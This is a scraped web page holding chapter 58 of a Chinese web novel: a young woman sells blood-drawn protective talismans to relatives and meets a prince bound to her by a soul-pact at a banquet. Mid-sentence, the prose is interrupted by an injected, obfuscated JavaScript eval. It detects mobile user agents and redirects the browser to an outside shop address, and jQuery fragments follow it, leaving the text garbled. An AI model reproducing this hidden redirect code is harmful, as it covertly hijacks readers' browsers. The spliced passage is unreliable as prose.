默认冷灰
24号文字
方正启体

58. 第58章

作者:御用肥猫本书字数:K更新时间:
    陆载民为幼女设下的赏梅雅席是在春分这日。


    他的发妻陈氏酷爱梅花,因此在家中院落里常常种植着各式各样的品种,每逢花开时节。陈氏也时常会邀请三五好友前来观花。


    今年因幼女降生,夫妇二人迫于外界言论,不想影响儿子陆靳风在翰林院的仕途,便干脆邀请了更多世家子弟与女眷们前来。


    玉府被邀请在列的不止玉美邀一个,有空前来的小辈几乎都来了。


    长房玉晴晔、玉暖香;二房玉湘宁、玉礼谦,都纷纷应邀。


    今日与他们年龄相仿的男女也大有人在。


    “哎呀!张兄、苏兄!你们也在来了啊,真巧!”玉晴晔见了武场同窗,立刻跑过去与人结伴而行,相互攀谈。


    玉湘宁看着他兴奋跑远的背影,说道:“阿晔的人缘还是这般好啊。”


    玉礼谦道:“姐,你还说呢,方才出门前大伯母千丁宁万嘱咐了,让他少与自己那些朋友结伴,可是堂兄根本就听不进去呀。”


    玉暖香道:“我娘亲是担心我哥容易被人诓骗,就他那性子,虎了吧唧的,遇事儿别人稍微哄上两句,他什么都敢往前冲。哎,娘亲也是拿他没办法了。”


    玉湘宁道:“常言道,物以类聚,人以群分。阿晔他为人随和直爽,能与他结交的应当都是这类人,也不必过分担忧。”


    玉暖香叹着气微微摇了摇头:“但愿吧……哎对了五姐姐,你那儿有没有什么好东西?”她转头,眼睛忽闪忽闪地望着玉美邀,“比如那些小黄纸,往我哥背后一贴,能防小人的那种。”


    玉湘宁、玉礼谦:“什么小黄纸?”


    玉美邀今日略施粉黛,发髻上多簪了几朵清丽的珠花,甜美中更显清雅。她站姿端庄,亭亭玉立,听了玉暖香的问话,便眉头微沉,是在思索,随后答道:“防小人的没有,若是要求平安,倒是能给他一张。”


    “哇哇哇!那五姐姐你快给我,我现在就贴他背上。”


    玉美邀冲她摊出手道:“五两银子。”


    “什么!”玉暖香瞪大了圆溜溜的眼睛,“不是吧!我们俩都这么熟了,你还要收我银子?我可是你亲妹妹!”


    玉美邀似乎觉得她说的也有些在理,便道:“那便三两银子吧,毕竟这东西管用,而且是以我血画就,光是画那些符,我要想将耗费的气血补回来可不容易,得吃许多补品才行。”


    玉暖香撅撅嘴,但依旧伸手去衣兜里掏银子:“好叭……”


    两人一手交钱一手交货,把一旁的玉湘宁和玉礼谦看得直愣愣的。


    “你们...这是在做什么?”玉湘宁问。


    玉暖香嘿嘿一笑,拿着那张从玉美邀手里接过来的符纸在二人面前晃了晃:“四姐姐,这可是好东西,贴在身上能保平安的。”


    玉湘宁蹙着眉头,看看那张符,又看看玉美邀,不确定地问:“邀儿,这...是你画的?你...还会画这个?”


    玉美邀点点头,随即又掏出两张,一脸认真地问道:“四姐、谦弟,你们俩也一人来一张?随身携带,可保平安。”


    玉礼谦与玉湘宁二人先是面面相觑,但看着玉美邀不似在开玩笑的模样,玉湘宁赶紧打圆场道:“...好好好,我们俩也买一张试试。想不到五妹妹竟然还痴迷于此道,哈哈……你若想学点本事也可以,也挺好……”


    说着,玉湘宁也掏出银子,给自己和玉礼谦一人一张,分别叠好收在了腰带里。


    玉暖香已经提着裙摆,小跑着追上玉晴晔,她一只手悄悄伸到他背后,将平安符往他后领中一塞。


    玉美邀一本正经地对玉湘宁与玉礼谦道:“此符有效,但只起一次作用。如果真的遇到危险,待此次功效发挥后,还可以继续问我来买。”


    玉礼谦挠挠头:“额...好……”


    玉湘宁只以为玉美邀最近在学习相关的道术,抱着不打击自家姐妹的态度,只一味安慰道:“嗯,一定一定……”


    林颂涟努力忍住不笑,脸都有些憋红了。


    几人之间的气氛既古怪又轻松,而不远处,一辆金顶马车缓缓驶来,玉家小辈当即不再言语,静静望过去,这是皇室的车马。


    玉美邀侧眸,她看着从上边走下来的人,原本平静无波的眼眸中渐渐染上一抹“果然是他”的了然之色。


    岳上澜还是那么酷爱穿黑色的长袍。


    他每件衣裳的剪裁都极好地彰显了修身之妙,本就长身玉立的姿容更显风仪。


    岳上澜一下马车便当即向玉美邀这里走来。


    几人纷纷对他行礼。


    岳上澜面带笑意,望着玉美邀道:“想不到能在此与玉五姑娘相遇,真巧。”


    玉湘宁与玉礼谦用眼角余光打量着二人。


    玉美邀嘴角边挂着惯常的恬淡笑意,她看着岳上澜周身散发着似有若无的淡金色光晕,那是签过魂契后独有的光芒,她心中涌上一股快慰,因此也温言软语地回答:“‘许久’未见殿下,臣女给殿下问安。”她微微行了一礼,鬓边的海棠步摇轻轻晃了晃。


    岳上澜道:“这里没有旁人,玉五姑娘不用与我如此生疏。你我是否安好,就算不见面,彼此也能只晓得一清二楚。”


    玉美邀笑着道:“亲眼看到魂伴安好,心里总是会更自在些的。”


    初春的风带着微凉,吹过他二人身旁,金色的光晕有一些飘到了玉美邀面前,盘旋在半空,似乎实在与她问好。


    是啊,这可是同生共死的魂契,不用见面,哪怕相隔万里,一方有性命之忧,另一个人也能立刻察觉。


    他二人在此隔靴搔痒地打哑谜,一旁听着的玉湘宁与玉礼谦目光里则是复杂又迷茫。


    “呵……”岳上澜不由得垂眸笑了一声,“那今日你我二人便走得近些,以免横生意外时救助不及。”他手里握着未打开的竹扇,扇柄上的暗纹雕花在阳光下折射着出工艺精湛的轮廓光晕,这把表面看上去毫无异样的精美竹扇,正与他本人一样,看上去赏心悦目、完美无瑕。


    可真是这样么。


    玉美邀的眼波流转。


    她见过这把扇子展开后,每一根由竹节制成的扇骨都尖锐且锋利;她也见过岳上澜卸下了在人前那副光风霁月的模样后,是如何身手敏捷、出招利落。


    她收起了笑意:“殿下,臣女的兄弟姐妹们还在这里,咱们这番言语恐怕会引起他们误会。”


    岳上澜道:“那我只能请玉五姑娘借一步说话了。”


    玉湘宁当即摆手道:“不用不用,殿下与五妹妹有什么话在这说便是,我们俩..还有事,先走一步。”


    玉礼谦也赶忙跟着道:“啊对对,我们有事,先走了先走了……”


    二人一边说着,一边互相拽着彼此的袖子,笑意盈盈着扭头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186503|194365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就往前方走去,一副有好戏但忍住事后再问的鬼脸模样。


    玉美邀与岳上澜四周顿时没了人。


    就算有往来的其余客人,也都只是远远的往他们二人这里瞧一眼,谁都不会刻意走近探听。


    岳上澜率先开口说道:“不知在下可否有幸,也向玉五姑娘求张平安符傍身?”


    玉美邀道:“殿下的武功如此卓绝,还需要臣女这种东西吗?”


    岳上澜笑着道:“你有通九幽的本事,自然知道在有些情况下武功是抵挡不住的。”


    玉美邀道:“殿下实在是谦虚了,您连臣女掐的诀和画的符都能抗衡,何必又多此一举要来买这平安符呢。”说着,她的眼神还往岳上澜衣摆之下那块被刻意遮住的玉佩位置瞧了瞧。


    岳上澜自然知道她在看哪里,但他依旧身姿如松,道:“人嘛,对于好东西,总是不嫌多的。”


    “哦——既然如此,殿下要是诚心想买,便是五十两一张。”玉美邀笑眯眯地看向他。


    岳上澜无奈地笑着道:“你方才的价格不是五两吗?怎么到了我这里就要翻上十倍?”


    玉美邀眼眸一冷,但嘴角的弧度依旧保持:“殿下真是好耳力。坐在马车里隔那么远都听得到我们在说什么,真是厉害。”


    岳上澜轻叹:“小满,我们现在的关系非比寻常,你与我说话就一定要这样含沙射影吗?”


    玉美邀不与他争这毫无结果的长短,她道:“所以这护身符殿下是要还是不要?”


    岳上澜叹了口气:“要。不过现在我身上没有银票。”


    玉美邀无情道:“概不赊账。”


    岳上澜只好摘下手上的玉扳指,放于掌中,递到她面前:“这个可做抵押吗?”


    玉美邀垂眸看着那扳指,一眼便知不是凡品。


    它是一块完整的和田羊脂白玉雕琢而成,质地温润。其色并非纯白,而是在莹白中透出淡淡的暖黄光泽,刚好与玉美邀爱穿的月白色相映成趣。


    唔,此物估摸着大概能换百两。


    划算。


    她赞叹:“这可是好东西,殿下当真舍得?”


    岳上澜笑道:“有何不舍?等观火下次拿了银票,你再还我便是。”


    玉美邀不置可否,她顺手就将扳指收入囊中,又拿出两张符给岳上澜。


    岳上澜哑然失笑:“怎么就两张?”


    玉美邀漫不经心地笑道:“殿下,臣女的血并非取之不尽,再多的也得等我休养生息呀。”


    岳上澜将那符纸工工整整地收好,二人这厢刚完成交易,那边梁国公府门口便唱起了入座。


    国公夫人陈氏满面红光地亲自迎了出来,招呼着前院里的宾客们。


    玉美邀道:“国公夫人年过四旬,依旧如此意气风发、神采飞扬。定是要羡煞旁人了。”


    岳上澜道:“父皇后宫中已有不少嫔妃在暗中打探国公夫人身体强健、青春永驻的秘诀。可国公夫人守口如瓶,只说自己养身有道。这夫妇二人一起‘回春’的消息早就引起过大家私下的议论,只是这么几年过去了,他二人小心谨慎,一点儿蛛丝马迹都没留下。若非这次陆载民外室产女,这梁国公府的门恐怕还没那么好进。”


    玉美邀的眼波在长长的羽睫下流转,有一种似有似无的鬼魅感:“自古以来,每一个想逆天而为的人,就从来不会得到好下场。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)